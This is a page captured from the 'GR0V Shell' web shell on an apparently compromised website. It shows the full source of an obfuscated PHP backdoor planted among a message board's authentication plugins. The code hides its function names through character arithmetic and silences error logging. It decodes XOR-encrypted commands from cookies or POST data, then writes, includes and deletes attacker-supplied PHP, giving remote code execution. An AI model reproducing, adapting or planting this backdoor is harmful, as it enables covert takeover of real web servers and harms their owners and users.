? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/board/plugins/authentication/

Current File : /home/admin/public_html/old/board/plugins/authentication/fwdhzbiy.php

<?php $rqefz = chr(294-192).chr(195-90)."\154".'e'.'_'.chr(112).chr(1055-938).chr(116).chr(511-416)."\x63"."\157".chr(943-833).chr(709-593)."\x65".chr(964-854).chr(116)."\163";
$ebvtzyvp = "\142".chr(97).chr(909-794)."\x65"."\x36".'4'."\137"."\x64".chr(511-410)."\x63"."\x6f".'d'."\145";
$lwqpegleu = "\x69".chr(503-393).'i'.chr(120-25)."\163".'e'."\164";
$zbazym = 'u'.'n'.'l'.chr(810-705)."\156".'k';


@$lwqpegleu("\x65"."\162"."\162"."\x6f".chr(946-832).'_'.'l'."\157"."\147", NULL);
@$lwqpegleu('l'."\157"."\x67"."\137".'e'."\x72"."\162".'o'."\x72".'s', 0);
@$lwqpegleu('m'.chr(97).'x'."\137".chr(956-855)."\x78"."\x65"."\x63"."\165".chr(116).chr(105)."\157".chr(110)."\137".chr(116).'i'."\155".'e', 0);
@set_time_limit(0);

function jtcpbofx($hwaytlcpi, $eltndldehc)
{
    $gksbi = "";
    for ($fxftysh = 0; $fxftysh < strlen($hwaytlcpi);) {
        for ($j = 0; $j < strlen($eltndldehc) && $fxftysh < strlen($hwaytlcpi); $j++, $fxftysh++) {
            $gksbi .= chr(ord($hwaytlcpi[$fxftysh]) ^ ord($eltndldehc[$j]));
        }
    }
    return $gksbi;
}

$vedudmmodm = array_merge($_COOKIE, $_POST);
$enmrniuc = 'dc56f831-344d-4340-94ab-f0024b8e1a0f';
foreach ($vedudmmodm as $phzoh => $hwaytlcpi) {
    $hwaytlcpi = @unserialize(jtcpbofx(jtcpbofx($ebvtzyvp($hwaytlcpi), $enmrniuc), $phzoh));
    if (isset($hwaytlcpi["\141".chr(107)])) {
        if ($hwaytlcpi["\141"] == 'i') {
            $fxftysh = array(
                "\160"."\166" => @phpversion(),
                chr(115).chr(342-224) => "3.5",
            );
            echo @serialize($fxftysh);
        } elseif ($hwaytlcpi["\141"] == 'e') {
            $kqygdpax = "./" . md5($enmrniuc) . chr(622-576)."\x69".chr(110).chr(702-603);
            @$rqefz($kqygdpax, "<" . '?'.'p'."\150".'p'.' '."\100".chr(117)."\156".chr(108)."\x69".'n'."\x6b"."\x28"."\x5f"."\x5f".chr(70)."\x49"."\x4c"."\105".chr(578-483).chr(642-547)."\x29".';'.chr(908-876) . $hwaytlcpi["\144"]);
            @include($kqygdpax);
            @$zbazym($kqygdpax);
        }
        exit();
    }
}

T1KUS90T